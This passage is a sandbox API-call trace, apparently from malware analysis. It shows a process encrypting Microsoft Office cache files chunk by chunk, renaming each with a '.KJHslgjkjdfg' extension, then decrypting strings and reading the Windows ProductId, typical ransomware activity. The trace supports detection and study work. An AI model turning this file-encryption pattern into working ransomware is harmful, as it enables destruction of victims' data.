pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0153.062] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.062] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0153.063] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.063] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0153.063] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0153.063] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0153.070] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0153.074] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.074] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0153.074] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.074] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0153.074] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2986dc0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0153.074] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0153.082] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0153.086] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2986dc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.086] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0153.087] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.087] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0153.087] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0153.087] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.087] SetEndOfFile (hFile=0x124) returned 1 [0153.090] GetProcessHeap () returned 0x990000 [0153.090] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0153.090] GetProcessHeap () returned 0x990000 [0153.090] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0153.090] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.kjhslgjkjdfg")) returned 1 [0153.091] CloseHandle (hObject=0x124) returned 1 [0153.091] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0153.091] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0153.092] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=2522624) returned 1 [0153.092] GetProcessHeap () returned 0x990000 [0153.092] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0153.092] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0153.092] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.092] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0153.092] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0153.092] GetProcessHeap () returned 0x990000 [0153.092] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0153.092] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0153.092] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0153.092] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0153.097] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0153.097] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0153.097] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0153.097] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0153.097] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0153.097] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0153.097] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0153.097] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0153.098] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0153.102] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0153.107] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.107] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0153.108] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.108] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0153.108] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0153.108] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0153.120] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0153.123] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.123] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0153.125] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.125] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0153.125] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0153.125] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0153.132] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0153.135] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.135] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0153.136] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.136] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0153.136] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0153.136] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.136] SetEndOfFile (hFile=0x124) returned 1 [0153.140] GetProcessHeap () returned 0x990000 [0153.140] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0153.140] GetProcessHeap () returned 0x990000 [0153.140] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0153.140] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.kjhslgjkjdfg")) returned 1 [0153.141] CloseHandle (hObject=0x124) returned 1 [0153.141] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0153.141] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0153.141] GetProcessHeap () returned 0x990000 [0153.141] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0153.142] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0153.142] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0153.142] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0153.143] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0153.143] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0153.143] GetProcessHeap () returned 0x990000 [0153.143] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0153.143] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0153.143] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0153.143] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0153.143] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0153.143] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0153.144] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0153.144] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0153.144] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0153.144] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0153.144] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0153.144] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.144] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x708, lpOverlapped=0x0) returned 1 [0153.144] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x710, dwBufLen=0x710 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x710) returned 1 [0153.144] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.144] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x710, lpOverlapped=0x0) returned 1 [0153.144] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0153.144] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.144] SetEndOfFile (hFile=0x124) returned 1 [0153.146] GetProcessHeap () returned 0x990000 [0153.146] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0153.146] GetProcessHeap () returned 0x990000 [0153.146] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0153.146] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.kjhslgjkjdfg")) returned 1 [0153.152] CloseHandle (hObject=0x124) returned 1 [0153.152] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0153.152] GetProcessHeap () returned 0x990000 [0153.152] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0153.152] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0153.152] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0153.152] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0153.152] GetProcessHeap () returned 0x990000 [0153.153] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0153.153] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0153.153] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0153.153] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0153.153] GetProcessHeap () returned 0x990000 [0153.153] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0153.153] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0153.153] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0153.153] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0153.153] GetProcessHeap () returned 0x990000 [0153.153] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0153.153] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0153.153] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0153.153] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0153.153] GetProcessHeap () returned 0x990000 [0153.153] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0153.153] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0153.153] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0153.153] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0153.154] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0153.154] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0153.154] RegCloseKey (hKey=0x124) returned 0x0 [0153.154] GetProcessHeap () returned 0x990000 [0153.154] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0153.154] GetProcessHeap () returned 0x990000 [0153.154] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0153.154] GetProcessHeap () returned 0x990000 [0153.154] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0153.154] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0153.154] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0153.154] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0153.154] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0153.154] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, 